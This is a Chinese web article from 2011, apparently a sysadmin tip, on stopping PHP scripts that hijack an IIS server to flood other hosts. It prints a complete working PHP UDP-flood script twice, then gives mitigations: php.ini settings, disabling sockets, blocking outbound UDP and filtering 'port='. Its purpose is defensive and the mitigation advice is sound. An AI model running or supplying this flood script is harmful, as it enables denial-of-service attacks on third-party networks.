防止用戶利用PHP代碼DOS造成用光網(wǎng)絡(luò)帶寬
更新時間:2011年03月01日 16:00:12 作者:
一打開IIS,服務(wù)器的流出帶寬就用光-----就是說服務(wù)器不斷向別人發(fā)包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.
用PHP代碼調(diào)用sockets,直接用服務(wù)器的網(wǎng)絡(luò)攻擊別的IP,常見代碼如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
表現(xiàn)特征:
一打開IIS,服務(wù)器的流出帶寬就用光-----就是說服務(wù)器不斷向別人發(fā)包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.
解決辦法:
禁止上述的代碼:
在c:\windows\php.ini里設(shè)置:
disable_functions =gzinflate;
在c:\windows\php.ini里設(shè)其值為Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;號一定要有,意思就是限制用sockets.dll
前面的;號要保留
然后重啟IIS
如果上述方式仍然無效,你可以在IIS中,允許的擴展中,禁止PHP的擴展測試.
另外,對于沒加密的php攻擊代碼,還可以用以下辦法處理:
1.在IP策略,或防火墻中,禁止所有udp向外發(fā)送
2.用一流信息監(jiān)控,在SQL攔截及網(wǎng)址攔截中,攔截port=這個關(guān)鍵詞
復(fù)制代碼 代碼如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
表現(xiàn)特征:
一打開IIS,服務(wù)器的流出帶寬就用光-----就是說服務(wù)器不斷向別人發(fā)包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數(shù)據(jù)包.
解決辦法:
禁止上述的代碼:
在c:\windows\php.ini里設(shè)置:
disable_functions =gzinflate;
在c:\windows\php.ini里設(shè)其值為Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;號一定要有,意思就是限制用sockets.dll
前面的;號要保留
然后重啟IIS
如果上述方式仍然無效,你可以在IIS中,允許的擴展中,禁止PHP的擴展測試.
另外,對于沒加密的php攻擊代碼,還可以用以下辦法處理:
1.在IP策略,或防火墻中,禁止所有udp向外發(fā)送
2.用一流信息監(jiān)控,在SQL攔截及網(wǎng)址攔截中,攔截port=這個關(guān)鍵詞
相關(guān)文章
php中Socket創(chuàng)建與監(jiān)聽實現(xiàn)方法
這篇文章主要介紹了php中Socket創(chuàng)建與監(jiān)聽實現(xiàn)方法,以實例形式較為詳細(xì)的分析了Socket的創(chuàng)建、連接、初始化及監(jiān)聽等技巧,需要的朋友可以參考下2015-01-01PHP getID3類的使用方法學(xué)習(xí)筆記【附getID3源碼下載】
這篇文章主要介紹了PHP getID3類的使用方法,結(jié)合實例形式分析了getID3類的原理、功能及簡單使用技巧,并附帶了getID3類的源碼供讀者下載參考,需要的朋友可以參考下2019-10-10php 實現(xiàn)進制轉(zhuǎn)換(二進制、八進制、十六進制)互相轉(zhuǎn)換實現(xiàn)代碼
php 實現(xiàn)進制轉(zhuǎn)換(二進制、八進制、十六進制)互相轉(zhuǎn)換實現(xiàn)代碼,需要的朋友可以參考下。2010-10-10PHP讀取網(wǎng)頁文件內(nèi)容的實現(xiàn)代碼(fopen,curl等)
php小偷程序中經(jīng)常需要獲取遠(yuǎn)程網(wǎng)頁的內(nèi)容,下面是一些實現(xiàn)代碼,需要的朋友可以慘況下。2011-06-06PHP實現(xiàn)將上傳圖片自動縮放到指定分辨率,并保持清晰度封裝類示例
這篇文章主要介紹了PHP實現(xiàn)將上傳圖片自動縮放到指定分辨率,并保持清晰度封裝類,涉及php針對jpeg、png、gif等格式圖片的縮放與輸出相關(guān)操作技巧,需要的朋友可以參考下2019-06-06WordPress網(wǎng)站訪問慢解決方案細(xì)圖文教程
這篇文章主要介紹了WordPress網(wǎng)站訪問慢解決方案細(xì)圖文教程,wordpress訪問慢一直是一個比較頭疼的問題,有正好需要的同學(xué)可以嘗試下,感覺不錯的可以分享給大家2021-03-03